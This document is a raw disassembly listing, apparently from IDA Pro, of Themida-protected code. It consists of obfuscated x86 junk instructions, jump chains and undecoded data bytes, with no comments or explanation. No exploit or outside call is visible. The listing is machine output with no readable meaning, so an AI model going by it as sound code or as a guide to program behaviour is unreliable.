; ---------------------------------------------------------------------------
		db 5Eh
		dd 0C581CD29h, 174315E0h, 0BE565359h, 27AD7E4Ch, 0B47BC681h
		dd 81560B48h, 32A72434h, 815B7095h, 9532A7F3h, 0CE48E970h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5607AA:				; CODE XREF: Themida_:00563060j
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		push	ebx
		jmp	loc_562890
; ---------------------------------------------------------------------------
aWst		db 'Wé’´',0
		dd 5E08900h, 4,	5004C083h, 42474FFh, 24048F58h,	5024248Bh
		dd 42474FFh, 0FFE629E9h, 9904FFh, 2EC83D0h, 24148966h
		dd 0D02899B2h, 685A5A66h, 50Dh,	0B8F7E9h
		db 0
; ---------------------------------------------------------------------------

loc_560809:				; CODE XREF: Themida_:0055E630j
		add	dword ptr [esp], 73CB1A4Ah
		pop	ebx
		jmp	loc_55953A
; ---------------------------------------------------------------------------

loc_560816:				; CODE XREF: Themida_:005625F3j
		shr	edi, 7
		jmp	loc_56B249
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24148B24h, 3B0168h, 24048900h, 2075E9h, 4C48100h, 0E9000000h
		dd 0FFFF8116h, 2474FF50h, 48F5804h, 3678E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56084A:				; CODE XREF: Themida_:00569D39j
		mov	[esp], esi
		jmp	loc_55BBF3
; ---------------------------------------------------------------------------
		dw 565Bh
		dd 0C681E689h, 4, 0E904C683h, 0FFFF976Fh, 6624248Bh, 5124048Bh
		dd 5474E9h, 0E9E58900h,	9C9Ch, 0E9240489h, 0FFFFFF4Dh
		dd 0B276E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560886:				; CODE XREF: Themida_:0056310Bj
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 21C10880h
		add	esi, 0DE3EF784h
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	esi
		mov	esi, 2EA61FE6h
		push	ebx
		mov	ebx, 7A93629Ah
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		sub	ebx, 6C6C42E3h
		or	esi, ebx
		pop	ebx
		not	esi
		sub	esi, 0C059A015h
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		jmp	loc_55CF05
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0C281E289h, 4, 26853h, 1C8B0000h, 4C48324h, 1DE9C281h
		dd 0C2815207h, 5258230Ch, 69C168h, 242C8900h, 5CCC6851h
		dd 815921F0h, 0E3852E9h, 59CD89F3h, 2922F581h, 0EA291791h
		dd 0FFD0B6E9h, 4C483FFh, 5C240487h, 4C781h, 0EC810000h
		dd 4, 1E9CE9h
		db 0
; ---------------------------------------------------------------------------

loc_56092D:				; CODE XREF: Themida_:0056CA0Ej
		mov	eax, 9690CFCh
		jmp	loc_55D0E5
; ---------------------------------------------------------------------------
		db 89h
		dd 45E95BD8h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56093F:				; CODE XREF: Themida_:0056C48Ej
		mov	esp, [esp]
		or	eax, eax
		jz	loc_56BB71
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_566D70
; ---------------------------------------------------------------------------

loc_56095E:				; CODE XREF: Themida_:0055BD34j
		sub	ecx, 6F24477Bh
		add	ecx, 291B6065h
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, esi
		pop	esi
		sub	ecx, edx
		add	ecx, 0B794943h
		push	7560h
		mov	[esp], edi
		mov	edi, 16C018CDh
		sub	ecx, 10300F9Eh
		sub	ecx, edi
		push	edx
		mov	edx, 10300F9Eh
		add	ecx, edx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	eax, ecx
		jmp	loc_55BFB4
; ---------------------------------------------------------------------------

loc_5609B2:				; CODE XREF: Themida_:0055C1F9j
		push	699Fh
		mov	[esp], edi
		jmp	loc_5667FA
; ---------------------------------------------------------------------------
		db 81h
		dd 0E84351C2h, 0D22EE95Ch, 3C89FFFFh, 2A98BF24h, 31E96181h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5609D7:				; CODE XREF: Themida_:00563E1Aj
		mov	bl, 0ADh
		sub	ah, bl
		pop	ebx
		jmp	loc_55C91A
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 58542404h, 405h, 4E88300h, 0FFD4CAE9h, 0F7D8F7FFh
		dd 0D0F748D8h, 0CEDAE635h, 0E9C729EBh, 3919h, 6D26F681h
		dd 0CE814C9Dh, 1BFF0F1Eh, 0FFE7B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560A1D:				; CODE XREF: Themida_:005650B3j
		pop	ebx
		push	53BCh
		mov	[esp], ebp
		mov	ebp, 80000h
		and	eax, ebp
		jmp	loc_55BAE1
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 1C8904ECh, 4BB24h, 51050000h, 1268469h, 69512DD8h
		dd 0E95B2684h, 0FFFFFDE8h, 0C7E9DE2Ch, 5EFFFFDEh, 8105E7C1h
		dd 0D13765EFh, 14F7570Ah, 0BAD7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560A6E:				; CODE XREF: Themida_:0055B955j
		sub	ebx, 1C8064AEh
		shl	ebx, 5
		xor	ebx, 0F1F1D3AAh
		and	ecx, ebx
		pop	ebx
		push	ebp
		push	ecx
		mov	ecx, 2B0CF2CBh
		push	ecx
		pop	ebp
		pop	ecx
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_568FEA
; ---------------------------------------------------------------------------
		db 97h,	0F7h, 0D7h
		dd 24048797h, 0FF9DD5E9h, 0E9E788FFh, 9C18h, 42474FFh
		dd 0A8DEE95Dh, 0E981FFFFh, 0C352F20Ch, 0BF70E9h
		db 0
; ---------------------------------------------------------------------------

loc_560ABD:				; CODE XREF: Themida_:0056DD94j
		mov	edi, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55F710
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 0E9243C33h, 0FFFFDC41h, 9C39E95Ah, 8155FFFFh, 4ECh
		dd 24248900h, 4240481h,	8B000000h, 0C481242Ch, 4, 4C581h
		dd 83E90000h, 1FFFF9Eh,	0E9042454h, 3BE3h, 33243C31h, 3C31243Ch
		dd 7D6AE924h, 0B704FFFFh, 0E800612Ch, 0E9526104h, 9685h
; ---------------------------------------------------------------------------

loc_560B30:				; CODE XREF: Themida_:0056A196j
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_55C323
		push	31CAh
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_55C484
; ---------------------------------------------------------------------------

loc_560B56:				; CODE XREF: Themida_:0055ECA7j
		xchg	ecx, edi
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55E0F6
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 0B4C4E951h, 81510000h, 6AA4242Ch, 49E905ACh
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_560B8B:				; CODE XREF: Themida_:00568EF2j
		push	ecx
		jmp	loc_562B2C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0A205E924h, 0F205FFFFh, 57341E03h, 6D51E9h, 0C8B6600h
		dd 49E95224h, 0F7000061h, 3E6C1D6h, 0A03DE9h, 0B60F6600h
		dd 0BD686602h, 489665Dh, 7CC2E924h, 15EFFFFh, 2434FFF9h
		dd 4C4835Fh, 4C181h, 0C330000h,	861EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560BE2:				; CODE XREF: Themida_:0055B640j
		neg	ecx
		add	ecx, 9AC01304h
		add	edx, ecx
		jmp	loc_561EA1
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 240C8B66h, 764368h, 24048900h, 1A07E9h
		db 0
; ---------------------------------------------------------------------------

loc_560C05:				; CODE XREF: Themida_:0055976Ej
		add	esp, 4
		add	esp, 4
		shl	edi, 4
		not	edi
		push	ebx
		jmp	loc_5616A9
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 135DD004h, 246C2907h, 8A72E904h, 0D1F70000h,	0B23FE981h
		dd 30E9A6CEh
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560C37:				; CODE XREF: Themida_:00564DBAj
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, 602C5B37h
		add	ebp, 64DC5E99h
		add	ebp, ebx
		push	ebx
		mov	ebx, 5DB81140h
		not	ebx
		dec	ebx
		inc	ebx
		jmp	loc_55B089
; ---------------------------------------------------------------------------
		db 89h
		dd 0F7E92404h, 87000092h, 0E92434h, 1FFFFD0h, 0E9555AD7h
		dd 9B18h, 0BA60F0BBh, 4EC8147h,	89000000h, 0F4BF243Ch
		dd 0E918B8CAh, 0FFFFA768h
; ---------------------------------------------------------------------------

loc_560CA8:				; CODE XREF: Themida_:0056CD7Aj
		pop	ebx
		shr	eax, 2
		or	eax, 750E6CB9h
		push	ebp
		jmp	loc_56A5CB
; ---------------------------------------------------------------------------
		db 81h
		dd 0F51A8CC6h, 8B06E928h, 31660000h, 665B66DAh,	685AD389h
		dd 0AEBh, 50240C89h, 66D88966h,	6658C189h, 0C8BCD89h, 4C48324h
		dd 68241C8Bh, 6D6Dh, 89241489h,	4C281E2h, 83000000h, 94E904C2h
		dd 8100005Ch, 4C4h, 4BD5500h, 1000000h,	0B9515DEBh, 0F667E14h
		dd 0FFACEDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560D19:				; CODE XREF: Themida_:0055D089j
		push	edx
		mov	edx, 179370D8h
		and	edx, 1BE50F02h
		push	edi
		mov	edi, 121766E5h
		inc	edi
		not	edi
		jmp	loc_565F53
; ---------------------------------------------------------------------------

loc_560D33:				; CODE XREF: Themida_:0055E9D9j
		xor	eax, ebp
		pop	ebp
		sub	eax, 0B0D4F198h
		jmp	loc_55CB09
; ---------------------------------------------------------------------------

loc_560D40:				; CODE XREF: Themida_:0055CD49j
		mov	edi, 4590A83h
		sub	edi, 1BBFDCA3h
		sub	eax, edi
		pop	edi
		add	ecx, eax
		jmp	loc_55BAA7
; ---------------------------------------------------------------------------

loc_560D55:				; CODE XREF: Themida_:00569884j
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 28D13E52h
		push	edx
		mov	edx, 5D16018h
		add	edi, edx
		pop	edx
		and	edi, 73725AC2h
		or	edi, 51900CBh
		and	edi, 53B644D8h
		sub	edi, 33200C4h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55888C
; ---------------------------------------------------------------------------

loc_560D97:				; CODE XREF: Themida_:0056A3C5j
		sub	ecx, 4D762A93h
		pop	ebp
		jmp	loc_56BAF1
; ---------------------------------------------------------------------------
		db 66h
		dd 66242C87h, 81243C8Bh, 2C4h, 0E7C16600h, 0E7C16604h
		dd 0C7816608h, 9CE90001h, 5FFFFF2h, 397F2306h, 8958C229h
		dd 27E95AD0h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560DD3:				; CODE XREF: Themida_:005686C0j
		pop	ecx
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0
		jmp	loc_566CD0
; ---------------------------------------------------------------------------
		db 89h
		dd 68512404h, 30B45EB5h, 83240C8Bh, 0BA5204C4h,	1BC4C36h
		dd 0FFB8C3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560DF9:				; CODE XREF: Themida_:0055EABBj
		push	54EEh
		mov	[esp], edi
		jmp	loc_56388B
; ---------------------------------------------------------------------------

loc_560E06:				; CODE XREF: Themida_:00568484j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55BFC2
; ---------------------------------------------------------------------------

loc_560E0F:				; CODE XREF: Themida_:005603B6j
		mov	ecx, 272A5531h
		inc	ecx
		jmp	loc_564B14
; ---------------------------------------------------------------------------
		dw 6ABFh
		dd 1542568h, 5F08247Ch,	4247C01h, 4246C81h, 5425686Ah
		dd 2696E9h, 4E7FBD00h, 60E95126h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560E3F:				; CODE XREF: Themida_:0055A0B6j
		pop	eax
		pop	ebp
		push	415Fh
		mov	[esp], edx
		jmp	loc_56185F
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 51000000h,	37E9E189h, 51000023h, 4626E9h
		dd 46800h, 34FF0000h, 4CE95A24h, 81000057h, 0E55657C3h
		dd 27E95822h, 0B90000BBh, 3AA82A67h, 0E907E1C1h, 0AC6h
		dd 8CB050h, 0A657E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560E96:				; CODE XREF: Themida_:005600CDj
		add	edi, ecx
		push	esi
		mov	esi, 25495442h
		dec	esi
		sub	esi, 0CC052FDh
		push	ebp
		jmp	loc_55BB1E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8B24048Fh, 0D3662424h, 0E99C242Ch, 0FFFF79D0h, 28FECA81h
		dd 0DAF7489Bh, 0FF8B41E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560EC9:				; CODE XREF: Themida_:0056D4D0j
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		jmp	loc_55B609
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 5304C383h, 5E1EE9h, 5EDC000h, 0F580D5F6h,	0E9E800EDh
		dd 0C006h, 335AD629h, 34312434h, 1AF6E924h, 0F7450000h
		dd 4DDDF7D5h, 0F46CF581h, 0E809851Dh, 0E7DD2D5Dh, 0C631C408h
		dd 2FC2E9h
		db 0
; ---------------------------------------------------------------------------

loc_560F29:				; CODE XREF: Themida_:0055CD1Ej
		pop	ecx
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_559BAA
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 3304C483h, 14312414h, 0F67AE924h, 0EE83FFFFh, 24348704h
		dd 240C895Ch, 0BCB35350h, 1C8BDC88h, 4C48324h, 6606ECC0h
		dd 0E98EB151h, 0A02Fh, 5524248Bh, 242C8B54h, 0E9E18951h
		dd 13C0h, 242C815Fh, 90A0D47h, 0FF7907E9h, 0A6C381FFh
		dd 810E5313h, 13451DEBh, 0E9F30137h, 0FFFFDE15h, 451FC181h
		dd 81410FCAh, 1E9h, 8FE98100h, 0E98BDD2Ah, 0FFFF84DAh
; ---------------------------------------------------------------------------

loc_560FB0:				; CODE XREF: Themida_:005658F4j
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 30B96ABEh
		xor	edx, 2765759Ah
		xor	edx, 17DC1F20h
		add	ebx, edx
		pop	edx
		jmp	loc_55E518
; ---------------------------------------------------------------------------

loc_560FCD:				; CODE XREF: Themida_:0056AF01j
		add	ebx, 4
		push	ebp
		mov	ebp, offset off_4429C8
		add	ebp, 47ED297Bh
		or	ebp, 75B13328h
		neg	ebp
		inc	ebp
		jmp	loc_563A07
; ---------------------------------------------------------------------------
		db 5Dh,	49h, 0E9h
		dd 0FFFF7CA0h, 8B243C33h, 0BF0F2424h, 0C524E9C8h, 0D0BFFFFFh
		dd 0E90C447Fh, 0FFFFA0B0h
; ---------------------------------------------------------------------------

loc_56100C:				; CODE XREF: Themida_:00558F3Dj
		mov	ebp, 3073DF5h
		jmp	loc_559A3D
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 7DFE57B8h, 0E92434FFh, 6745h
; ---------------------------------------------------------------------------

loc_561024:				; CODE XREF: Themida_:0055A4B5j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_568971
; ---------------------------------------------------------------------------
aBUfFsir	db 'ÃUf*féëR',0
		db 0
; ---------------------------------------------------------------------------

loc_561045:				; CODE XREF: Themida_:0056583Aj
		not	cl
		jmp	loc_56371F
; ---------------------------------------------------------------------------
		dd 8106EBC1h, 944063E3h, 9EE3E91Ah, 0C383FFFFh,	241C3304h
		dd 33241C31h, 815C241Ch, 4C6h, 35E95700h, 0B7FFFFCAh, 3CB25220h
		dd 9D66E9h, 0E9D6F700h,	0FFFFB078h, 4C6835Ch, 9DB2E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56108E:				; CODE XREF: Themida_:0055D521j
		mov	dh, 0D0h
		sub	bl, dh
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0BD555024h, 4, 15DE889h, 0C28358C2h,	4EC8104h, 0E9000000h
		dd 4E42h, 89D78957h, 15A5FFBh, 2434FFDFh, 0E9241C8Bh, 0FFFFA7F1h
		dd 409CBE05h, 58C52922h, 7909E958h, 0E781FFFFh,	1A25784Ch
		dd 8CF7814Fh, 0E96FA829h, 352Eh, 4C481h, 442C0000h, 5051D000h
		dd 0E1888DB4h, 0E9D1F658h, 0FFFFCE74h, 5304C483h, 3D199ABBh
		dd 0AA20E947h, 3868FFFFh, 8900005Fh, 27BF243Ch,	817BC213h
		dd 3402DEF7h, 52DFF71Bh, 435936BAh, 5AD7293Eh, 0FFB802E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561139:				; CODE XREF: Themida_:00567881j
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ebp, 63EAFE30h
		add	ebx, ebp
		jmp	loc_561338
; ---------------------------------------------------------------------------

loc_56115E:				; CODE XREF: Themida_:0056C6A9j
		push	ecx
		mov	ecx, 19611093h
		neg	ecx
		shr	ecx, 4
		xor	ecx, 7C1DAADh
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5676AC
; ---------------------------------------------------------------------------
		db 89h
		dd 1368240Ch, 8900001Dh, 2BB241Ch, 0E9000000h, 9DF9h, 8F24248Bh
		dd 248B2404h, 0A8A1E924h, 0E4B7FFFFh, 0CF80DFF6h, 1BEF800Ah
		dd 0E95BFD28h, 0FFFFA9C7h, 4C68158h, 0E9000000h, 0FFFFDDE2h
		dd 8704C283h, 0E95C2414h, 2530h, 2C8BEA01h, 4C48124h, 0E9000000h
		dd 0FFFF76B8h, 0B9D6E951h, 1C89FFFFh, 50E38924h, 4B8h
		dd 58C30100h, 4EC81h, 2C890000h, 6B95124h, 815C2E56h, 46EE97E9h
		dd 59CD89E3h, 676BED81h, 71E978E7h, 89FFFFF1h, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 0B769E95Ch, 0C789FFFFh
		dd 7D986858h, 14890000h, 153CBA24h, 0C2816AA1h,	0B1370871h
		dd 148BD701h, 4C48124h,	81000000h, 8D8E65C7h, 0D941E9B7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56124E:				; CODE XREF: Themida_:0056495Cj
		push	edx
		push	750Ch
		mov	[esp], ebx
		jmp	loc_55F90A
; ---------------------------------------------------------------------------
		dd 0AFD0E95Bh, 815BFFFFh, 4C3h,	4C38300h, 7A8D68h, 513AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561276:				; CODE XREF: Themida_:0056AC11j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	esi, 65317882h
		jmp	loc_569D08
; ---------------------------------------------------------------------------

loc_5612A0:				; CODE XREF: Themida_:005699BFj
		push	edx
		push	ebx
		push	51973F55h
		pop	ebx
		add	ebx, 36435A5Dh
		add	ebx, 81AEC2F5h
		jmp	loc_565850
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 7D4F68h, 1B6EE900h, 0E8000000h, 28596A04h, 8BD22CF8h
		dd 0ADE9241Ch, 8100009Dh, 20FFD5F5h, 5DE929C0h,	5559C801h
		dd 515D5BBDh, 0E9E80138h, 906Ah
; ---------------------------------------------------------------------------

loc_5612F0:				; CODE XREF: Themida_:005681D4j
		mov	esi, 78492FACh
		push	esi
		pop	ebx
		jmp	loc_56D024
; ---------------------------------------------------------------------------

loc_5612FC:				; CODE XREF: Themida_:00565A96j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5667B9
; ---------------------------------------------------------------------------

loc_561313:				; CODE XREF: Themida_:00565D32j
		push	1Ch
		pop	edx
		sub	edx, 4022CA3h
		add	edx, edi
		add	edx, 4022CA3h
		push	dword ptr [edx]
		push	eax
		mov	eax, 6FD969FFh
		xor	[esp+4], eax
		jmp	loc_56AC01
; ---------------------------------------------------------------------------

loc_561338:				; CODE XREF: Themida_:00561159j
		pop	ebp
		add	ebx, edi
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		mov	edi, 31D67C77h
		jmp	loc_56D942
; ---------------------------------------------------------------------------
		dd 7065C581h, 0ED816E4Eh, 30E6B77h, 5F2434FFh, 4C481h
		dd 2C330000h, 242C3124h, 8B242C33h, 8B662424h, 3D682404h
		dd 89000030h, 0E0892404h, 5C42E955h, 565B0000h,	0F87998BEh
		dd 46D6F719h, 0FF7BB1E9h, 50EF31FFh, 4446B951h,	0C1814730h
		dd 1A6ADAC8h, 0C8BC889h, 4C48324h, 1B28E9h
		db 0
; ---------------------------------------------------------------------------

loc_5613AD:				; CODE XREF: Themida_:0056AC43j
		sub	[esp+8], ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [edi+20h]
		sub	dword ptr [edi+20h], 525F50D2h
		jmp	loc_564ABA
; ---------------------------------------------------------------------------
		dw 0E700h
aAAqXrSzl	db '€ÇÏ€ï XR¶°éZ‹',0
		dw 5600h
		dd 0E27AC468h, 0CE815E1Ah, 57AB4C65h, 24EDE681h, 0C68146C9h
		dd 23394057h, 515EF589h, 370F83B9h, 5E1C16Eh, 21BB850h
		dd 0C109399Eh, 5050E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56140E:				; CODE XREF: Themida_:00566636j
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5689D2
; ---------------------------------------------------------------------------
aRiIZx		db 'RˆÂˆÓZX',0
		db 0F3h
		dd 5224B55Ah, 0F53004B6h, 81ED805Ah, 3DC580h, 3DED80DDh
		dd 2F4FE953h, 0F8BA0000h, 13EC07Eh, 0CB015AD3h,	7EF8EB81h
		dd 0C8B3EC0h, 4C48324h,	0E9241C87h, 0FFFFC297h,	0DB6F7605h
		dd 50055A31h, 29182745h, 272AE9D8h, 0F2310000h,	4115E95Eh
		dd 0EC830000h, 48F5404h, 4EC8124h, 0E9000000h, 0FFFFE172h
		dd 7544F781h, 0F7816949h, 475E55BAh, 3463F781h,	0FA213C39h
		dd 4E2C15Fh, 4EC8342h, 0E9240C89h, 0FFFF879Eh, 117D6853h
		dd 14890000h, 0C3885324h, 4EC81h, 0C890000h, 0E04DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5614C6:				; CODE XREF: Themida_:00569519j
		add	ebx, 83A04C2h
		add	ebx, edi
		sub	ebx, 83A04C2h
		push	edx
		jmp	loc_56C628
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0D0BE2434h, 8122756Eh, 6721C3E6h, 81DEF719h,	1E5313F6h
		dd 0FEF817Bh, 11CAC46h,	0FC781F7h, 0E91CAC46h, 0FFFFF6C6h
		dd 81242489h, 42404h, 0E95F0000h, 0FFFFE360h, 0E914C280h
		dd 605Bh, 6895C581h, 0F74D6D6Ch, 0E7F581D5h, 8109AB75h
		dd 2C423AEFh, 81EF2951h, 2C423AC7h, 6641E951h, 0C0830000h
		dd 24048704h, 5624248Bh, 0A256E9h, 2E3C100h, 48A7BF57h
		dd 0E7D13F7Ah, 541EE9h,	24148B00h, 5E08950h, 4,	0FF7BFFE9h
		dd 20E952FFh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561573:				; CODE XREF: Themida_:0056C474j
		mov	edx, eax
		pop	eax
		not	edx
		jmp	loc_5615A1
; ---------------------------------------------------------------------------

loc_56157D:				; CODE XREF: Themida_:00563585j
		push	ecx
		mov	ecx, 4
		jmp	loc_55E972
; ---------------------------------------------------------------------------

loc_561588:				; CODE XREF: Themida_:00568C02j
		sub	esi, 0FFFFFFFFh
		jmp	loc_56AEBE
; ---------------------------------------------------------------------------
		db 68h
		dd 74FAh, 57241489h, 85BE9h
		db 0
; ---------------------------------------------------------------------------

loc_5615A1:				; CODE XREF: Themida_:00561578j
		shl	edx, 4
		jmp	loc_55F505
; ---------------------------------------------------------------------------
		db 29h,	0D0h, 5Ah
		dd 602B7435h, 0E9C50107h, 8CA3h, 1E17E5BAh, 0E1EA8131h
		dd 0E9311E17h, 0A3ADh, 54DE68h,	242C8900h, 0FFA4D8E9h
		dd 23DB68FFh, 6BE90000h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5615DF:				; CODE XREF: Themida_:0056B267j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55D81B
; ---------------------------------------------------------------------------

loc_5615EA:				; CODE XREF: Themida_:0055E582j
		add	bl, 4Eh
		add	bl, dh
		push	eax
		mov	ah, 57h
		sub	ah, 9
		jmp	loc_56BF2E
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4AA2428Ch, 815EF389h, 1B47A7EBh, 0E1F38123h,	12786FAh
		dd 4875BD8h, 0C1815C24h, 74A2155Ch, 67F5E981h, 0FEE93F7Bh
		dd 68FFFFE5h, 5E5A55D2h, 0A5EF815Dh, 10B4C43h, 7A01E9EFh
		dd 0FA890000h, 5F2434FFh, 1CA2E9h
		db 0
; ---------------------------------------------------------------------------

loc_561645:				; CODE XREF: Themida_:00568927j
		mov	ebp, 27345D4Fh
		jmp	loc_5676A5
; ---------------------------------------------------------------------------
		db 81h
		dd 382491C1h, 0DF59E927h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56165A:				; CODE XREF: Themida_:005629FFj
		inc	eax
		push	ebp
		mov	ebp, 314D3BFCh
		shr	ebp, 3
		xor	ebp, 0EBE66Fh
		sub	eax, ebp
		pop	ebp
		mov	edi, eax
		pop	eax
		jmp	loc_55AE76
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4BF57h, 44810000h, 37500424h, 6C8106A8h, 630B0424h
		dd 72E96B0Fh, 0F70000A6h, 68D587D2h, 7E16h, 0BE243489h
		dd 0E33688D5h, 4283E9h
		db 0
; ---------------------------------------------------------------------------

loc_5616A9:				; CODE XREF: Themida_:00560C14j
		push	ecx
		mov	ecx, 30056AF4h
		or	ecx, 4FBA5609h
		add	ecx, 3EC3CB25h
		mov	ebx, ecx
		pop	ecx
		add	edi, 0F44231h
		jmp	loc_564E81
; ---------------------------------------------------------------------------

loc_5616C9:				; CODE XREF: Themida_:0056679Cj
		xor	edi, 20574E22h
		add	ebp, edi
		pop	edi
		push	edi
		mov	edi, 4CF1787Bh
		dec	edi
		jmp	loc_55E3DD
; ---------------------------------------------------------------------------

loc_5616DE:				; CODE XREF: Themida_:0056DAAEj
		add	ebx, edx
		jmp	loc_55D8CC
; ---------------------------------------------------------------------------
		db 0BFh, 2, 0
		dd 0C5810000h, 30E6B77h, 7065B850h, 4CE96E4Eh, 88000085h
		dd 6B7DE9F0h, 14BD0000h, 8943BA4Dh, 3EE95DEBh, 66FFFFFEh
		dd 2D66F029h, 2D66410Ah, 1FE919DFh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56171F:				; CODE XREF: Themida_:0055AA8Aj
		sub	edi, 3D315F09h
		sub	edi, edx
		jmp	loc_55EB10
; ---------------------------------------------------------------------------
		dd 4EE81h, 39E90000h, 310000A8h, 0D2F759CAh, 0E947FA87h
		dd 80E6h
; ---------------------------------------------------------------------------

loc_561744:				; CODE XREF: Themida_:0056C68Ej
		add	edi, 4D9408BEh
		add	edi, ecx
		sub	edi, 4D9408BEh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		jmp	loc_55A100
; ---------------------------------------------------------------------------

loc_56175F:				; CODE XREF: Themida_:0055E94Bj
		mov	[esp], eax
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_558C33
; ---------------------------------------------------------------------------
		db 0BDh, 6Dh, 53h
		dd 0EE291DFBh, 9CDDE95Dh, 0BFBEFFFFh, 8168D764h, 8D7E65C6h
		dd 0C6814E65h, 7E426222h, 2CACE81h, 0E9566E6Ch,	0A632h
; ---------------------------------------------------------------------------

loc_561798:				; CODE XREF: Themida_:00561DF1j
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55E23E
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 10h
